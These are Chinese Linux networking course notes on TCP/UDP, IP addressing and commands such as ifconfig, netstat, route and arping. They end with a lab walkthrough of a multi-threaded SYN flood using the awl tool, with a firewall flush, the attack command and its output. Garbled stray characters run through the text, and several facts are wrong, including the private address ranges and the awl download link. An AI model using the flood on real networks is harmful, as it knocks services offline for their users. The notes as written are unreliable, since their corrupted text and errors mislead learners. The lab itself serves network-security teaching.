TCP?? 協(xié)議和UDP? 協(xié)議的區(qū)別
1?? TCP? 協(xié)議? TCP? 是面向連接的協(xié)議,在收發(fā)數(shù)據(jù)前蔬捷,必須和對(duì)方建立可靠的連接
2? UDP? 是用戶數(shù)據(jù)報(bào)協(xié)議蓄坏,是一種無連接的傳輸協(xié)議,提供面向事務(wù)的簡單不可靠信息傳送服務(wù)
如何不知道哪個(gè)端口的服務(wù)
就打開services? 服務(wù)
[root@localhost ~]# vim /etc/services
E類地址:范圍從240~254枫慷,為將來使用保留
ABC3類私有地址
A :10.0.0.0/8??
B : 172.16.0.0 ~ 172.31.0.0/16
C? : 192.168.0.0?? ~ 192.168.255.0.0/24??
互動(dòng):ping?? 127.0.0.1? 可以ping? 通让蕾,? 在任意的127? 都能ping? 通
[root@localhost ~]# ping 127.23.23.23
PING 127.23.23.23 (127.23.23.23) 56(84) bytes of data.
64 bytes from 127.23.23.23: icmp_seq=1 ttl=64 time=0.020 ms
64 bytes from 127.23.23.23: icmp_seq=2 ttl=64 time=0.021 ms
64 bytes from 127.23.23.23: icmp_seq=3 ttl=64 time=0.033 ms
64 bytes from 127.23.23.23: icmp_seq=4 ttl=64 time=0.043 ms
64 bytes from 127.23.23.23: icmp_seq=5 ttl=64 time=0.024 ms
18.2?? linux? 網(wǎng)絡(luò)相關(guān)的命令
18.2.1? 查看網(wǎng)卡物理連接是否正常
[root@localhost ~]# mii-tool ens33
ens33: negotiated 1000baseT-FD flow-control, link ok
查看IP相關(guān)信息
ifconfig?? 命令被用于配置和顯示linux內(nèi)核中網(wǎng)絡(luò)接口的網(wǎng)絡(luò)參數(shù)
ifconfig????? 查看IP?
常見的一些網(wǎng)絡(luò)接口
eth0? -eth4?? 以太網(wǎng)? centos6?
waln?? 無線接口
eno177776?? 以太網(wǎng)接口? centos7
bond0?? team0?? 網(wǎng)卡綁定接口
vibro??? 虛擬機(jī)交換橋接接口
bro? 虛擬網(wǎng)橋接口
lo?? 本地回環(huán)接口
vnet0?? KVM?? 網(wǎng)卡接口
18.2.2?? 修改網(wǎng)卡IP地址
方法1: 手工修改網(wǎng)卡配置文件
vim???? /etc/sysconfig/network-scripts/ifcfg-ens33
TYPE="Ethernet"
PROXY_METHOD="none"
BROWSER_ONLY="no"
BOOTPROTO="dhcp"
DEFROUTE="yes"
IPV4_FAILURE_FATAL="no"
IPV6INIT="yes"
IPV6_AUTOCONF="yes"
IPV6_DEFROUTE="yes"
IPV6_FAILURE_FATAL="no"
IPV6_ADDR_GEN_MODE="stable-privacy"
NAME="ens33"
UUID="2f42f867-c515-4d49-87a2-980c4ecb8507"
DEVICE="ens33"
ONBOOT="yes"
2?? 給虛擬機(jī)添加一個(gè)網(wǎng)卡
ifconfig?? -a?? 查看所有網(wǎng)絡(luò)設(shè)備,包括沒有啟動(dòng)的網(wǎng)卡設(shè)備
默認(rèn)新增加的網(wǎng)卡沒有配置文件或听,手動(dòng)添加一個(gè)
1)st ~]# cd /etc/sysconfig/network-scripts/
?? 2)? cp?? ifcfg-ens33 ifcfg-ens38???
? 3)?? vim??? ifcfg-ens38???
修改一下參數(shù)
方法2???
?1 )[root@localhost ~]# nmtui-edit??????? 字符界面配IP啊探孝,了解一下
2)
3)
! ser???
調(diào)用歷史命令的ser??
指定關(guān)閉網(wǎng)卡?
? [root@localhost ~]#? ifconfig????? ens33 down????
指定開啟網(wǎng)卡????
[root@localhost ~]# ifconfig ens33 up
臨時(shí)配置ip???
[root@localhost ~]# ifconfig ens37 192.168.1.24
一個(gè)網(wǎng)卡? 配置兩個(gè)IP??
[root@localhost ~]# ifconfig ens37:1 192.168.1.56??? ??
然后? ifconfig? ens37?? 發(fā)現(xiàn)有兩個(gè)IP地址
當(dāng)然也可以弄子網(wǎng)掩碼
[root@localhost ~]# ifconfig ens37:1 192.168.1.56 ? netmask ? 255.255.240.0 ?
18.2.3?? 查看端口的監(jiān)聽狀態(tài)
netstat? 命令? :? 查看系統(tǒng)中網(wǎng)絡(luò)連接信息
常用的參數(shù)格式?? :? netstat? -anutp??
-a?? --all?? 顯示本機(jī)所有連接和監(jiān)聽的端口
-n?? --numeric?????? 以數(shù)字形式顯示當(dāng)前建立的有效連接和端口
-u?? 顯示udp? 協(xié)議連接
-t?? 顯示tcp協(xié)議連接
-p????? 顯示連接對(duì)應(yīng)的PID? 與程序名
Proto?? 連接協(xié)議的種類
Recv-Q?? 接受到的字節(jié)數(shù)
Send -Q ===== 從本服務(wù)器誉裆,發(fā)出去的字節(jié)數(shù)
Local? Address? ======?? 本地的IP地址顿颅,可以是IP ,也可以是主機(jī)名
foreign? Address =======遠(yuǎn)程主機(jī)的IP地址
? 例子:linux下默認(rèn)MSL? 等地時(shí)間是60秒
[root@localhost ~]# cat /proc/sys/net/ipv4/tcp_fin_timeout
60??? 60秒斷開??
? [root@localhost ~]# echo 30 > /proc/sys/net/ipv4/tcp_fin_timeout???? 30? 秒就斷開
通過縮短time_wait?? 時(shí)間來快速解決釋放連接
改主機(jī)名??
[root@localhost ~]# vim /etc/hostname
配置IP 與主機(jī)名 對(duì)應(yīng)的關(guān)系
[root@localhost ~]# vim /etc/hosts?? 優(yōu)先級(jí)高于DNS解析
127.0.0.1 localhost localhost.localdomain localhost4 localhost4.localdomain4
::1? ? ? ? localhost localhost.localdomain localhost6 localhost6.localdomain6
18.2.4 配置DNS-路由相關(guān)信息
[root@localhost ~]# vim /etc/resolv.conf
是先解析hosts? 還是DNS? 足丢?
[root@localhost ~]# vim /etc/nsswitch.conf
?? hosts? files? dns?? myhostname?? 可以看到先查看? files hosts 文件粱腻,再查看DNS? 的
查看路由協(xié)議信息
[root@localhost ~]# route -n
參數(shù)? -n?? : 不要使用通訊協(xié)議或主機(jī)名,直接使用IP或port number??
route? 命令輸出的路由表字段含義如下
Destination?? 目標(biāo)????
Gateway?? 網(wǎng)關(guān)?? 網(wǎng)關(guān)地址斩跌,如果是本地網(wǎng)段IP 绍些,就顯示0.0.0.0?
Getmask? 子網(wǎng)掩碼
輸出和添加路由條目
[root@localhost ~]# route add -net 192.168.2.0 netmask 255.255.255.0 dev ens37
?實(shí)戰(zhàn)場景:多個(gè)網(wǎng)卡,多個(gè)網(wǎng)段耀鸦,實(shí)現(xiàn)不同數(shù)據(jù)走不同網(wǎng)卡柬批,若干網(wǎng)絡(luò)管理和生產(chǎn)數(shù)據(jù)分開管理
就可以看到多處一個(gè)網(wǎng)段
刪除路由
[root@localhost ~]# route del -net 192.168.2.0 netmask 255.255.255.0 dev ens37
路由跟蹤???? 查看經(jīng)過多少個(gè)路由器到目標(biāo)網(wǎng)址
[centos@xueshen65 ~]$ traceroute www.baidu.com
traceroute to www.baidu.com (14.215.177.39), 30 hops max, 60 byte packets
1? gateway (192.168.0.1)? 3.829 ms? 3.704 ms? 3.613 ms
2? 192.168.1.1 (192.168.1.1)? 3.542 ms? 3.950 ms? 3.888 ms
3? 100.64.0.1 (100.64.0.1)? 9.239 ms? 9.288 ms? 9.246 ms
ping命令的一般格式為
-c 數(shù)目???? 在發(fā)送指定數(shù)目的包后停止
-i?? 秒數(shù),設(shè)定間隔幾秒松一個(gè)網(wǎng)絡(luò)封包給一臺(tái)機(jī)器,預(yù)設(shè)值一秒一次
[root@xueshen65 ~]# ping -i 0.1 192.168.1.1
PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data.
64 bytes from 192.168.1.1: icmp_seq=1 ttl=63 time=6.62 ms
64 bytes from 192.168.1.1: icmp_seq=2 ttl=63 time=1.90 ms
64 bytes from 192.168.1.1: icmp_seq=3 ttl=63 time=1.93 ms
64 bytes from 192.168.1.1: icmp_seq=4 ttl=63 time=3.53 ms
使用從哪個(gè)端口除去氮帐,使用參數(shù)大寫的I???
[root@localhost yum.repos.d]# arping 192.168.1.1
arping: Suitable device could not be determined. Please, use option -I.
Usage: arping [-fqbDUAV] [-c count] [-w timeout] [-I device] [-s source] destination
? -f : quit on first reply
? -q : be quiet
? -b : keep broadcasting, don't go unicast
? -D : duplicate address detection mode
? -U : Unsolicited ARP mode, update your neighbours
? -A : ARP answer mode, update your neighbours
? -V : print version and exit
? -c count : how many packets to send
? -w timeout : how long to wait for a reply
? -I device : which ethernet device to use
? -s source : source ip address
? destination : ask for what ip address
如果發(fā)生IP沖突是否有沖突
[root@xueshen65 ~]# arping -I ens33 192.168.1.1
[root@xueshen65 ~]# arping -I ens33 192.168.0.1
ARPING 192.168.0.1 from 192.168.0.151 ens33
Unicast reply from 192.168.0.1 [54:75:95:EF:4C:11]? 3.050ms
Unicast reply from 192.168.0.1 [54:75:95:EF:4C:11]? 5.318ms
Unicast reply from 192.168.0.1 [54:75:95:EF:4C:11]? 3.017ms
Unicast reply from 192.168.0.1 [54:75:95:EF:4C:11]? 4.707ms
Unicast reply from 192.168.0.1 [54:75:95:EF:4C:11]? 4.541ms
注意? :如果一個(gè)IP嗅虏,得到兩個(gè)MAC,? 就有冒充網(wǎng)關(guān)
watch?
作用:? 實(shí)施檢測命令的運(yùn)行結(jié)果揪漩,可以看到所有變換數(shù)據(jù)包的大小
-d???? 顯示指令輸出信息不同之處
-n?? 指定指令執(zhí)行的間隔時(shí)間
例子1? :每隔1秒高亮差異顯示ens33? 相關(guān)信息
[root@xueshen65 ~]# watch -d -n 1 'ifconfig ens33'??
ping?? 網(wǎng)關(guān)
[root@xueshen65 ~]# ping -i 0.1 192.168.1.1
PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data.
64 bytes from 192.168.1.1: icmp_seq=1 ttl=63 time=4.11 ms
64 bytes from 192.168.1.1: icmp_seq=2 ttl=63 time=1.72 ms
64 bytes from 192.168.1.1: icmp_seq=3 ttl=63 time=1.71 ms
64 bytes from 192.168.1.1: icmp_seq=4 ttl=63 time=3.27 ms
18.3?? 實(shí)戰(zhàn)-在局域網(wǎng)中使用awl?? 偽裝MAC? 地址進(jìn)行多線程SYN? 洪水攻擊
這個(gè)案例是打開眼界的
18.3.1?? TCP? 三次握手以及tcp連接狀態(tài)
http://ssa.yundun.com/cc???? 云盾全球?qū)崟r(shí)功放圖???
需要了解的信息
ACK?? TCP? 協(xié)議規(guī)定旋恼,只有ACK=1? 時(shí)有效,也規(guī)定連接建立后發(fā)送的報(bào)文的ACK必須為1??
SYN?????????????????? 在連接建立時(shí)用來同步序號(hào)奄容,當(dāng)SYN=1冰更,而ACK=0?? 時(shí),表明這是一個(gè)連接請(qǐng)求報(bào)文昂勒,對(duì)方若同意建立連接蜀细,則應(yīng)在響應(yīng)報(bào)文中使SYN=1和ACK=1,因此戈盈,SYN直1就表明這是一個(gè)連接請(qǐng)求或連接受報(bào)文
synchronization???? 同步
FIN???? 即可奠衔,終結(jié)的意思,用來釋放一個(gè)連接塘娶,當(dāng)FIN=1時(shí)归斤,表明此報(bào)文段的發(fā)送方的數(shù)據(jù)已經(jīng)發(fā)送完畢,并且要求釋放連接
實(shí)戰(zhàn)1: 使用tcpdump? 抓包查看tcp 三次握手
tcp??? 三次握手過程
???
tcpdump?? 常用參數(shù)
-c 指定包的個(gè)數(shù)
-n?? IP?? 端口用數(shù)字方式顯示
port?? 指定端口
互動(dòng): 如何產(chǎn)生tcp? 的連接
?? 在一臺(tái)上登錄? 抓起ssh?? 遠(yuǎn)程登錄靈臺(tái)一臺(tái)時(shí)產(chǎn)生的tcp三次握手包
? 首先打開虛擬機(jī)刁岸,一臺(tái)登陸另外一臺(tái)的
在另外一臺(tái)寫入
[root@xueshen65 ~]# tcpdump -n -c 3 port 22 -i ens33
同時(shí)用ssh? 端口登錄ssh?? 另外的IP地址
ssh @ root 192.168.0.151??
發(fā)現(xiàn)抓包已經(jīng)看到
18.3.2?? 實(shí)戰(zhàn):在局域網(wǎng)中的使用awl? 位置IP 地址進(jìn)行多線程SYN? 洪水攻擊
? SYN? 洪水攻擊概述:? SYN洪水攻擊主要源于:tcp協(xié)議的三次握手機(jī)制
?
SYN 洪水攻擊的過程
在服務(wù)端返回一個(gè)確認(rèn)的SYN-ACK包的時(shí)候,有個(gè)潛在的弊端虹曙,如果發(fā)起的客戶是一個(gè)不存在的客戶端迫横,那么服務(wù)端就不會(huì)接到客戶端的回應(yīng)的ACK
這時(shí)服務(wù)端需要耗費(fèi)一定的數(shù)量的系統(tǒng)內(nèi)存來等待這個(gè)未決的連接,直到等到關(guān)閉酝碳,才能是否釋放
如果惡意者通過IP欺騙矾踱,發(fā)送大量的SYN包給受害者系統(tǒng),導(dǎo)致服務(wù)端存在大量未決的連接和內(nèi)存和tcp連接疏哗,從而導(dǎo)致正城航玻客戶端無法訪問服務(wù)端,這就是SYN洪水攻擊的過程
演示一下過程
下載awl? 包的地址
1 https://gitlab.com/davical-project/awl/-/tags
2)
下載好以后沃斤,上傳安裝一下
進(jìn)入到awl?? 目錄下安裝
3 )[root@xueshen65 ~]# cd awl-0.2/
4 )[root@xueshen65 awl-0.2]# ./configure && make -j 4 && make install
5)?? 查看安裝命令
[root@xueshen65 ~]# which awl
/usr/local/bin/awl
在另外一臺(tái)登錄下載Apache??
?6) [root@localhost ~]# yum -y install httpd
燃火在一臺(tái)ping? 一下有Apache? 的服務(wù)器
7)? [root@xueshen65 ~]# ping 192.168.0.105
PING 192.168.0.105 (192.168.0.105) 56(84) bytes of data.
64 bytes from 192.168.0.105: icmp_seq=1 ttl=64 time=0.535 ms
64 bytes from 192.168.0.105: icmp_seq=2 ttl=64 time=2.44 ms
64 bytes from 192.168.0.105: icmp_seq=3 ttl=64 time=0.600 ms
64 bytes from 192.168.0.105: icmp_seq=4 ttl=64 time=0.586 ms
8)??
看到105? 的? MAC? 地址是?? 上圖
開始攻擊?
awl? 參數(shù)如下? :?
-i??? 發(fā)送包的接口女器,如果省略默認(rèn)是eth0??
-m? 指定目標(biāo)MAC 地址拆祈,? 注意:? 如果-m? 沒有指定mac? 默認(rèn)MAC? 地址是
FF.FF.FF.FF.FF.FF?? FF.FF.FF.FF.FF.FF?? mac地址是什么级乍?
表示想同一個(gè)網(wǎng)段內(nèi)的所有主機(jī)發(fā)出ARP? 廣播末患,進(jìn)行SYN? 攻擊,還容易使整個(gè)局域網(wǎng)癱瘓
-d?? 被攻擊的IP
-p? 被攻擊機(jī)器的端口
用之前用清空防火墻
?9 )[root@xueshen65 ~]# iptables -F
放大招
?10)? [root@xueshen65 ~]# awl -i ens33 -m 00:0c:29:e1:dc:cc -d 192.168.0.105 -p 80
^Cpool_renew success
pthread join 0 is success !
pthread join 1 is success !
pthread join 2 is success !
pthread join 3 is success !
pthread join 4 is success !
pthread join 5 is success !
pthread join 6 is success !
pthread join 7 is success
被攻擊的IP 清空防火墻
11)? [root@localhost ~]# iptables -F
? 就會(huì)看到IP 的訪問???
?12) [root@localhost ~]# netstat -antup | grep 80
tcp? ? ? ? 0? ? ? 0 192.168.0.105:80? ? ? ? 47.72.60.77:14790? ? ? SYN_RECV? ? -? ? ? ? ? ? ? ? ?
tcp? ? ? ? 0? ? ? 0 192.168.0.105:80? ? ? ? 190.213.44.48:8913? ? ? SYN_RECV? ? -? ? ? ? ? ? ? ? ?
tcp? ? ? ? 0? ? ? 0 192.168.0.105:80? ? ? ? 153.26.129.48:36511? ? SYN_RECV? ? -? ? ? ? ? ? ? ? ?
tcp? ? ? ? 0? ? ? 0 192.168.0.105:80? ? ? ? 62.53.115.71:19264? ? ? SYN_RECV? ? -?
然后在ip138.com? 網(wǎng)站查看?? 這些地址的來源
總結(jié): 18.1? OSI?? 七層模型和TCP/IP 四層模型
18.2? linux? 網(wǎng)絡(luò)相關(guān)的調(diào)式命令
18.3? 實(shí)戰(zhàn): 在局域網(wǎng)中使用awl? 偽裝MAC? 地址進(jìn)行多線程SYN? 洪水攻擊